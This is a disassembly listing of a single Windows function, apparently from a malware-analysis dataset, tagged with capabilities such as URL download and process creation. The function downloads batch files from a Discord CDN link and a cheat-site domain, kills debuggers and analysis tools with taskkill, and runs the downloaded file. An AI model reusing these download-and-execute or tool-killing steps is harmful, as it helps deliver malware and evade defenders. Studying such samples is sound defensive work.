Function at 0x1400aa290
Capabilities:
Create process on windows
Download url
Encode data using xor
Receive data

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rdi
push rbp
lea rbp, [rsp - 0x57]
sub rsp, 0xd0
mov rax, qword [0x1403d15a0]
xor rax, rsp
mov qword [rbp + 0x47], rax
mov rbx, rcx
cmp byte [rcx + 0x213], 0
je 0x1400aa8bd
cmp byte [reloc.WS2_32.dll_accept], 0
je 0x1400aa2e8
call fcn.14029c550
mov qword [rbx + 0x218], rax
mov byte [rbx + 0x228], 1
mov byte [reloc.WS2_32.dll_accept], 0
mov rcx, qword [0x140406d38]
mov rax, qword [rcx + 0x1d18]
mov byte [rax + 0xd1], 1
mov rax, qword [rcx + 0x1d18]
movss xmm0, dword [rax + 0x54]
subss xmm0, dword [rax + 0xa0]
addss xmm0, dword [0x14039ce34]
movss xmm2, dword [rax + 0x50]
subss xmm2, dword [rax + 0x9c]
addss xmm2, dword [0x14039ce40]
movss dword [rax + 0x118], xmm2
movss dword [rax + 0x11c], xmm0
movss xmm1, dword [rax + 0x134]
maxss xmm1, xmm0
movss xmm0, dword [rax + 0x130]
maxss xmm0, xmm2
movss dword [rax + 0x130], xmm0
movss dword [rax + 0x134], xmm1
movaps xmm1, xmmword [0x14039d280]
movups xmmword [rbp - 0x39], xmm1
movaps xmm0, xmmword [0x14039d290]
movups xmmword [rbp - 0x19], xmm0
mov dword [rbp - 0x49], 0x87838eac
mov dword [rbp - 0x45], 0x818b8d
mov byte [rbp - 0x41], 1
xor edi, edi
mov ecx, edi
nop dword [rax]
nop word [rax + rax]
lea eax, [rcx - 0x20]
xor byte [rbp + rcx - 0x49], al
inc rcx
cmp rcx, 7
jb 0x1400aa3a0
mov byte [rbp - 0x41], dil
movss xmm0, dword [0x14039cdd0]
movss dword [rsp + 0x28], xmm0
lea r9, [rbp - 0x39]
lea r8, [rbp - 0x19]
movss xmm1, dword [0x14039ce38]
lea rcx, [rbp - 0x49]
call fcn.14006b680
mov rcx, qword [0x140406d38]
mov rax, qword [rcx + 0x1d18]
mov byte [rax + 0xd1], 1
mov rax, qword [rcx + 0x1d18]
movss xmm0, dword [rax + 0x54]
subss xmm0, dword [rax + 0xa0]
addss xmm0, dword [0x14039ce5c]
movss xmm2, dword [rax + 0x50]
subss xmm2, dword [rax + 0x9c]
addss xmm2, dword [0x14039ce60]
movss dword [rax + 0x118], xmm2
movss dword [rax + 0x11c], xmm0
movss xmm1, dword [rax + 0x134]
maxss xmm1, xmm0
movss xmm0, dword [rax + 0x130]
maxss xmm0, xmm2
movss dword [rax + 0x130], xmm0
movss dword [rax + 0x134], xmm1
lea rcx, str.Loading..
call fcn.1400f43b0
cmp byte [rbx + 0x228], dil
je 0x1400aa478
call fcn.14029c550
mov rcx, rax
jmp 0x1400aa47f
mov rcx, qword [rbx + 0x220]
sub rcx, qword [rbx + 0x218]
movabs rax, 0x346dc5d63886594b
imul rcx
sar rdx, 0xb
mov rax, rdx
shr rax, 0x3f
add rdx, rax
xorps xmm0, xmm0
cvtsi2sd xmm0, rdx
divsd xmm0, qword [0x14039cdd8]
comisd xmm0, xmmword [str.333333]
jbe 0x1400aa8bd
call fcn.14029c550
mov qword [rbx + 0x220], rax
mov byte [rbx + 0x228], dil
mov byte [rbx + 0x213], dil
mov byte [reloc.WS2_32.dll_accept], 1
mov qword [rbp + 0x27], rdi
mov qword [rbp + 0x37], rdi
mov qword [rbp + 0x3f], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x27], dil
mov r8d, 0x5a
lea rdx, str.https:__cdn.discordapp.com_attachments_1139053637033803787_1145568722933796925_loading.bat
lea rcx, [rbp + 0x27]
call fcn.14005dd20
nop
mov qword [rbp - 0x39], rdi
mov qword [rbp - 0x29], rdi
mov qword [rbp - 0x21], reloc.WS2_32.dll_ntohs
mov byte [rbp - 0x39], 0
mov r8d, gethostname
lea rdx, str.C:Program_FilesCommon_FilesSystem_adoloading.bat
lea rcx, [rbp - 0x39]
call fcn.14005dd20
nop
lea r8, [rbp - 0x39]
cmp qword [rbp - 0x21], 0x10
cmovae r8, qword [rbp - 0x39]
lea rdx, [rbp + 0x27]
cmp qword [rbp + 0x3f], 0x10
cmovae rdx, qword [rbp + 0x27]
mov qword [rsp + 0x20], rdi
xor r9d, r9d
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
mov qword [rbp - 0x19], rdi
mov qword [rbp - 9], rdi
mov qword [rbp - 1], reloc.WS2_32.dll_ntohs
mov byte [rbp - 0x19], 0
mov r8d, 0x5b
lea rdx, str.http:__nxtg3ncheats.com_download_ADVACNEDAIO_UNDETECTEDADVACNEDMULTIWOOFERV2AIO_loading.bat
lea rcx, [rbp - 0x19]
call fcn.14005dd20
nop
mov qword [rbp + 7], rdi
mov qword [rbp + 0x17], rdi
mov qword [rbp + 0x1f], reloc.WS2_32.dll_ntohs
mov r8d, gethostname
lea rdx, str.C:Program_FilesCommon_FilesSystem_adoloading.bat
lea rcx, [rbp + 7]
call fcn.14005dd20
lea r8, [rbp + 7]
cmp qword [rbp + 0x1f], 0x10
cmovae r8, qword [rbp + 7]
lea rdx, [rbp - 0x19]
cmp qword [rbp - 1], 0x10
cmovae rdx, qword [rbp - 0x19]
mov qword [rsp + 0x20], rdi
xor r9d, r9d
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
mov dword [rsp + 0x28], edi
mov qword [rsp + 0x20], rdi
xor r9d, r9d
lea r8, str.C:Program_FilesCommon_FilesSystem_adoloading.bat
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
mov dword [rsp + 0x28], edi
mov qword [rsp + 0x20], rdi
xor r9d, r9d
lea r8, str.C:Program_FilesCommon_FilesSystem_adoloading.bat
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
mov rdx, qword [rbp + 0x1f]
cmp rdx, 0x10
jb 0x1400aa7e4
inc rdx
mov rcx, qword [rbp + 7]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400aa7df
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400aa8e4
call fcn.14029a1a0
mov qword [rbp + 0x17], rdi
mov qword [rbp + 0x1f], reloc.WS2_32.dll_ntohs
mov byte [rbp + 7], 0
mov rdx, qword [rbp - 1]
cmp rdx, 0x10
jb 0x1400aa82f
inc rdx
mov rcx, qword [rbp - 0x19]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400aa82a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400aa8ea
call fcn.14029a1a0
mov qword [rbp - 9], rdi
mov qword [rbp - 1], reloc.WS2_32.dll_ntohs
mov byte [rbp - 0x19], 0
mov rdx, qword [rbp - 0x21]
cmp rdx, 0x10
jb 0x1400aa876
inc rdx
mov rcx, qword [rbp - 0x39]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400aa871
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400aa8f0
call fcn.14029a1a0
mov qword [rbp - 0x29], rdi
mov qword [rbp - 0x21], reloc.WS2_32.dll_ntohs
mov byte [rbp - 0x39], 0
mov rdx, qword [rbp + 0x3f]
cmp rdx, 0x10
jb 0x1400aa8bd
inc rdx
mov rcx, qword [rbp + 0x27]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400aa8b8
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400aa8de
call fcn.14029a1a0
mov rcx, qword [rbp + 0x47]
xor rcx, rsp
call fcn.14029a180
lea r11, [rsp + 0xd0]
mov rbx, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov rsp, r11
pop rbp
ret
call fcn.1402b22f4
nop
call fcn.1402b22f4
nop
call fcn.1402b22f4
nop
call fcn.1402b22f4
int3